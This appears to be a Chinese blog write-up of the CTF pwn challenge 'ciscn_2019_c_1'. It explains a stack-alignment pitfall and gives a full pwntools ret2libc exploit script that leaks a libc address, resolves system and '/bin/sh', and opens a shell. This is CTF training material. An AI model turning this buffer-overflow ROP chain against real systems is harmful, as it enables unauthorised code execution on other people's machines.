IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> ciscn_2019_c_1 -> 正文阅读

[网络协议]ciscn_2019_c_1

坑点:ida反编译地址不对

解决办法:通过ROPdadget工具获得正确的pop_rdi和ret的地址

问题:libc版本寻找

解决:通过LibcSearcher工具进行寻找

?难点(写这篇文章的目的):这个问题和我前两篇checkin脚本分析最后自己写的一个脚本出现同样的情况,因为题目环境是Ubuntu18,所以需要栈对齐-----地址末尾为0,所以需要加ret

不加ret之前的rsp地址

?加了ret后

最后的脚本,python3环境,上述libcsearcher工具要求

from pwn import *
from LibcSearcher import *
#ida decomplie address error
context(os='linux', arch='amd64', log_level='debug')
p = process("./ciscn_2019_c_1")
#p = remote("node4.buuoj.cn", 28921)
elf = ELF("./ciscn_2019_c_1")
gdb.attach(p)
pause()


offset = 0x58
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
main_addr = elf.sym["main"]
pop_rdi = 0x400c83

p.sendline("1")

payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.sendline(offset*b"a" + payload)
p.recvuntil("\x40\n")
puts_real = u64(p.recv(6).ljust(8,b"\x00"))
print("puts_real",hex(puts_real))

# tools
libc = LibcSearcher('puts', puts_real)
libc_base = puts_real - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

ret = 0x4006b9
p.sendline("1")
payload = b"a" *offset + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload)

p.interactive()

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-04-18 18:20:11  更:2022-04-18 18:24:45 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 3:39:03-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码